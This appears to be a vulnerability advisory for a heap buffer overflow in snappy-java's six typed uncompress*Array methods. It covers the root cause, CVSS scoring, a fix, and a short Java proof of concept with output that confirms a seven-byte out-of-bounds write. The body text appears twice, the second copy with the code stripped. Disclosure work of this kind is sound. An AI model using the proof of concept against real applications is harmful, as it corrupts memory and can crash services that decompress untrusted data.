Heap Buffer Overflow in Snappy.uncompress{Char,Short,Int,Long,Float,Double}Array due to Integer-Division-Truncated Output Allocation
Summary
|
|
| Product |
org.xerial:snappy-java |
| Affected version |
1.1.10.8 (latest; and all prior versions sharing this code path) |
| Component |
Snappy.java — the six typed uncompress*Array methods; native sink SnappyNative.cpp rawUncompress |
| Vulnerability type |
CWE-787 (Out-of-bounds Write), CWE-193 (Off-by-one / Size Miscalculation) |
| CVSS 3.1 |
5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Attack vector |
An application decompressing attacker-influenced Snappy data via any uncompress*Array overload |
| Fix ownership |
Maintainer, in-repo (add an alignment check before allocation) |
Trust boundary
Untrusted, attacker-supplied compressed bytes (network/queue/file) → Snappy.uncompress*Array(...)
→ native RawUncompress writes past the end of a Java-allocated primitive array. The crossed
boundary is untrusted-input → memory-safety of the decompressing process.
Description
The six typed "uncompress into a primitive array" convenience methods
(uncompressCharArray, uncompressShortArray, uncompressIntArray, uncompressLongArray,
uncompressFloatArray, uncompressDoubleArray) size the output array by integer-dividing the
declared uncompressed byte length (read from the compressed data's own varint header) by the
element size, but then pass the undivided byte length to native code, which writes that exact
number of bytes. Whenever the declared byte length is not an exact multiple of the element size,
Java under-allocates the array by 1 to typeSize - 1 bytes while native writes the full amount —
a heap buffer overflow immediately past the array's backing storage.
This is distinct from CVE-2023-34453/34454/34455 (integer overflow in shuffle/compress) and
CVE-2023-43642 (missing chunk-length bound in SnappyInputStream): none of those touch the
uncompress*Array typed-array family or its Java-vs-native size-computation mismatch.
Root cause (verified against 1.1.10.8 source)
// Snappy.java — uncompressLongArray, representative of all six overloads
public static long[] uncompressLongArray(byte[] input, int offset, int length)
throws IOException
{
int uncompressedLength = Snappy.uncompressedLength(input, offset, length); // e.g. 15
long[] result = new long[uncompressedLength / 8]; // 15/8 = 1 -> 8 bytes allocated
impl.rawUncompress(input, offset, length, result, 0); // native writes the full 15 bytes
return result;
}
The native sink reads the true header-declared length via snappy::GetUncompressedLength and calls
snappy::RawUncompress, which writes uncompressedLength bytes to the array base — unaware of the
Java-side truncation. BitShuffle.unshuffle*Array performs the same division on both the
Java and native sides, so the two agree; the Snappy typed-array path does the division only on the
Java side. That asymmetry is the defect.
Reproduction
- OS: macOS (Darwin, arm64) · JDK: OpenJDK 25 · Library: snappy-java 1.1.10.8, unmodified prebuilt
native library (libsnappyjava.dylib), no source modification.
import org.xerial.snappy.Snappy;
import java.lang.reflect.Field;
import java.util.Arrays;
import sun.misc.Unsafe;
public class PocTypedArrayOob {
public static void main(String[] args) throws Exception {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
byte[] source = new byte[15]; // 15 is not a multiple of 8
Arrays.fill(source, (byte) 0x41); // 'A'
byte[] compressed = Snappy.compress(source);
int declared = Snappy.uncompressedLength(compressed);
long[] result = Snappy.uncompressLongArray(compressed); // allocates long[1] = 8 bytes
long oobWord = unsafe.getLong(result,
Unsafe.ARRAY_LONG_BASE_OFFSET + (long) result.length * Unsafe.ARRAY_LONG_INDEX_SCALE);
int aCount = 0;
for (int i = 0; i < 8; i++) if ((byte) (oobWord >>> (i * 8)) == 0x41) aCount++;
System.out.println("declared=" + declared + " allocated bytes=" + (result.length * 8)
+ " overflow-payload-bytes past array=" + aCount + "/8");
}
}
sun.misc.Unsafe here is only a read-only observation probe to confirm what the native write
already did; the vulnerable write happens with no probe involved.
Run:
java --add-opens java.base/sun.misc=ALL-UNNAMED --sun-misc-unsafe-memory-access=allow -cp classes PocTypedArrayOob
Actual evidence
declared=15 allocated bytes=8 overflow-payload-bytes past array=7/8
15 declared − 8 allocated = 7 overflow bytes; all 7 bytes immediately past the array's capacity are
the source payload byte 0x41, confirming RawUncompress wrote past the end of the Java-allocated
long[].
Impact
Any application decompressing Snappy data via one of the six typed uncompress*Array methods
overflows the output array by up to typeSize - 1 bytes (7 for long/double, 3 for int/float, 1 for
short/char) whenever the original length is not a multiple of the element size — a common,
non-adversarial condition. An attacker controlling the compressed input can guarantee the overflow
on every call, corrupting adjacent JVM heap. Confirmed impact is a bounded out-of-bounds heap write
(memory-safety violation / potential crash), hence Availability:Low; it is not demonstrated code
execution.
Remediation
Reject non-aligned declared lengths (or round the allocation up) before calling native, in all six
methods:
int uncompressedLength = Snappy.uncompressedLength(input, offset, length);
if (uncompressedLength % 8 != 0) {
throw new SnappyError(SnappyErrorCode.PARSING_ERROR,
"uncompressed byte length " + uncompressedLength + " is not a multiple of 8");
}
long[] result = new long[uncompressedLength / 8];
impl.rawUncompress(input, offset, length, result, 0);
References
Heap Buffer Overflow in
Snappy.uncompress{Char,Short,Int,Long,Float,Double}Arraydue to Integer-Division-Truncated Output AllocationSummary
org.xerial:snappy-javaSnappy.java— the six typeduncompress*Arraymethods; native sinkSnappyNative.cpprawUncompressAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Luncompress*ArrayoverloadTrust boundary
Untrusted, attacker-supplied compressed bytes (network/queue/file) →
Snappy.uncompress*Array(...)→ native
RawUncompresswrites past the end of a Java-allocated primitive array. The crossedboundary is untrusted-input → memory-safety of the decompressing process.
Description
The six typed "uncompress into a primitive array" convenience methods
(
uncompressCharArray,uncompressShortArray,uncompressIntArray,uncompressLongArray,uncompressFloatArray,uncompressDoubleArray) size the output array by integer-dividing thedeclared uncompressed byte length (read from the compressed data's own varint header) by the
element size, but then pass the undivided byte length to native code, which writes that exact
number of bytes. Whenever the declared byte length is not an exact multiple of the element size,
Java under-allocates the array by 1 to
typeSize - 1bytes while native writes the full amount —a heap buffer overflow immediately past the array's backing storage.
This is distinct from CVE-2023-34453/34454/34455 (integer overflow in
shuffle/compress) andCVE-2023-43642 (missing chunk-length bound in
SnappyInputStream): none of those touch theuncompress*Arraytyped-array family or its Java-vs-native size-computation mismatch.Root cause (verified against 1.1.10.8 source)
The native sink reads the true header-declared length via
snappy::GetUncompressedLengthand callssnappy::RawUncompress, which writesuncompressedLengthbytes to the array base — unaware of theJava-side truncation.
BitShuffle.unshuffle*Arrayperforms the same division on both theJava and native sides, so the two agree; the
Snappytyped-array path does the division only on theJava side. That asymmetry is the defect.
Reproduction
native library (
libsnappyjava.dylib), no source modification.sun.misc.Unsafehere is only a read-only observation probe to confirm what the native writealready did; the vulnerable write happens with no probe involved.
Run:
Actual evidence
15 declared − 8 allocated = 7 overflow bytes; all 7 bytes immediately past the array's capacity are
the source payload byte
0x41, confirmingRawUncompresswrote past the end of the Java-allocatedlong[].Impact
Any application decompressing Snappy data via one of the six typed
uncompress*Arraymethodsoverflows the output array by up to
typeSize - 1bytes (7 for long/double, 3 for int/float, 1 forshort/char) whenever the original length is not a multiple of the element size — a common,
non-adversarial condition. An attacker controlling the compressed input can guarantee the overflow
on every call, corrupting adjacent JVM heap. Confirmed impact is a bounded out-of-bounds heap write
(memory-safety violation / potential crash), hence Availability:Low; it is not demonstrated code
execution.
Remediation
Reject non-aligned declared lengths (or round the allocation up) before calling native, in all six
methods:
References